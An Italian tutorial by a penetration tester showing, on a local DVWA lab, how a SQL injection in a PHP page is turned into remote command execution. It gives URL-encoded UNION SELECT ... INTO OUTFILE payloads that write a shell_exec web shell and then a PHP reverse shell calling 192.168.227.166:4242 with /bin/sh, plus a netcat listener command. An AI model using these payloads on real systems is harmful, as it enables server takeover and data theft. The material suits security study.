Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Autore: Davide Cavallini

Oggi parleremo di un’interessante tecnica per trasformare una Sql Injection in una Remote Command Execution.Questa tecnica può essere  utilizzata anche per aprire una shell remota con il server che contiene la webapp vulnerabile.

Premetto che la tecnica funziona solo se l’utente del database ha il permesso di scrittura dei file, cosa che purtroppo spesso accade, perchè viene utilizzato l’account root. Un altro modo che può essere stato utilizzato per dare il permesso di scrivere i file all’utente è:

GRANT FILE ON *.* TO utente@’localhost’;

Partiamo da una webapp che all’interno contiene un parametro id non filtrato, che va ad eseguire una query. Esempio:

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "root", "", "dvwa");

$result = $mysqli->query("SELECT * from users where user_id=".$_GET['id']);

$rows = $result->fetch_all(MYSQLI_ASSOC);

foreach ($rows as $row) {

printf("%s (%s)\n", $row["first_name"], $row["last_name"]);

}

In questo esempio, l’app legge l’utente con lo user_id che viene passato dal parametro id con il metodo HTTP GET. Questa operazione è chiaramente deleteria dal punto di vista della sicurezza del database, perchè può consentire all’hacker di accedere a tutta una serie disclosure di informazioni.

Un esempio tipico e alla portata di tutti potrebbe essere l’utilizzo di una IDOR per cambiare l’id e prendere le informazioni di tutti gli utenti con un ciclo.

ESEMPIO:

http://localhost/vulnerable.php?id=1

http://localhost/vulnerable.php?id=2

http://localhost/vulnerable.php?id=3

http://localhost/vulnerable.php?id=eccetera

Un altro esempio ancora più brutale potrebbe sfruttare un attacco del tipo SQL Injection per andare a modificare la struttura della query.

ESEMPIO:

//Se utilizzassi questo parametro

http://localhost/vulnerable.php?id=1 OR 1

La query verrebbe modificata strutturalmente diventando:

SELECT * from users where user_id=1 OR 1

Quindi andrei a pescare tutti gli utenti, in quanto potrei prendere o l’utente con user_id=1 oppure la condizione true. Questo fa si che chiaramenti il risultato di FALSE OR TRUE, o di TRUE OR TRUE, dia sempre come risultato TRUE, seguendo le logiche della matematica booleana.

Fino a qui gli esempi sono stati semplici, ma in realtà la Sql Injection nasconde delle potenzialità anche più pericolose. Ad esempio in caso di server misconfiguration, come dicevo precedentemente, potrebbe essere utilizzata per una remote command execution, ovvero una esecuzione remota di codice da parte di un malintenzionato.

Infatti non so se ci avete mai fatto caso, ma esiste un interessante funzione per exportare il dump della tabella su file CSV. Cercando in Google “Exporting Query Results from MySQL” vi verrà certamente fuori subito una pagina che vi dirà che è possibile esportare il dump in un file con una query simile a questa:

SELECT * FROM users INTO OUTFILE ‘/tmp/users.txt’;

Fino a qui sembrerebbe tutto nella norma, ma come ben saprà chi mastica il linguaggio SQL da tempo, potrei anche fare una select e mostrare un dato a mia scelta, come una stringa o un numero, eseguendo una query simile a questa:

SELECT ‘questa è la mia stringa’;

RISULTATO:

Fino a qui ancora sembra tutto innocuo.

Ma che cosa succederebbe se andassimo ad esportare un comando php in una cartella eseguibile da remoto, come /var/www/html?

ESEMPIO:

SELECT ‘<?php echo shell_exec(“pwd”)’ INTO OUTFILE ‘/var/www/html/pwd.php’;

RISULTATO:

Chiaramente anche il fatto che la cartella /var/www/html sia scrivibile, deriva da una misconfiguration riguardante i permessi di scrittura nella cartella, ovvero di chmod. 

Cosa che purtroppo però è spesso sottovalutata e consentita.

Ok, quindi a questo punto abbiamo capito che con questa query è possibile scrivere un file nella cartella /var/www/html

Vediamo come fare a scriverlo utilizzando la SQL Injection.

ANDIAMO A MODIFICARE L’URL COME SEGUE

http://localhost/vulnerable.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/cmd2.php%27;

e vedremo che il file cmd2.php viene creato, e contiene la riga dell’utente 1

ora andiamo a scoprire quante colonne possiede questa tabella, con la tecnica dell’union select:

http://localhost/vulnerable.php?id=1 union select 1,2,3,4,5,6,7,8

chiaramente anche il risultato dell’UNION SELECT è esportabile in un file.

ORA AL POSTO DELLA COLONNA 2 INSERIAMO IL NOSTRO COMANDO “MALEVOLO”

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20echo%20shell_exec(%22pwd%22);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd4.php%27;

Ora andiamo subito a vedere il frutto del nostro esperimento

Vedete che oltre a delle inutili scritte, dentro al file cmd4.php c’è effettivamente del codice php che esegue il comando pwd.

Vediamo il risultato nel browser:

Accipicchia, il codice PHP è stato eseguito, quindi la RCE è riuscita!!!

Ora andiamo a raffinare la tecnica e apriamo un terminale sul server remoto.

Prendiamo da GitHub un qualsiasi codice per aprire una reverse shell in php su server linux e sostituiamo l’ip e porta con i nostri dati

<?php $sock=fsockopen(“192.168.227.166”,4242);exec(“/bin/sh -i <&3 >&3 2>&3”); ?>

Quindi l’url per iniettare il codice diventerà:

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20$sock=fsockopen(%22192.168.227.166%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd11.php%27;

Ora apriamo un terminale client e con netcap apriamoci la porta 4242 in ascolto:

nc -v -n -l -p 4242

Ok, a questo punto apriamo la pagina cmd5.php nel browser e vediamo che cosa accadrà:

come potete vedere l’utente è www-data, quindi abbiamo preso il controllo remoto del server. Ora potremmo procedere alla privilege escalation.

Davide Cavallini

Davide Cavallini scrive software per aziende dal 2012 e ha lavorato come senior Laravel e penetration tester in cinque software house (fintech, privacy, travel, PA). Oggi lavora in proprio a Noale (Venezia) con Cavallini Service: gestionali per imprese di impianti e PMI di produzione, e sicurezza del software per software house (audit del codice, penetration test applicativo, NIS2 lato codice). È l'autore di JavaScream, il toolkit open source per l'analisi dei JavaScript nelle pagine web. Sito: https://cavalliniservice.com

Visita il sito web dell'autore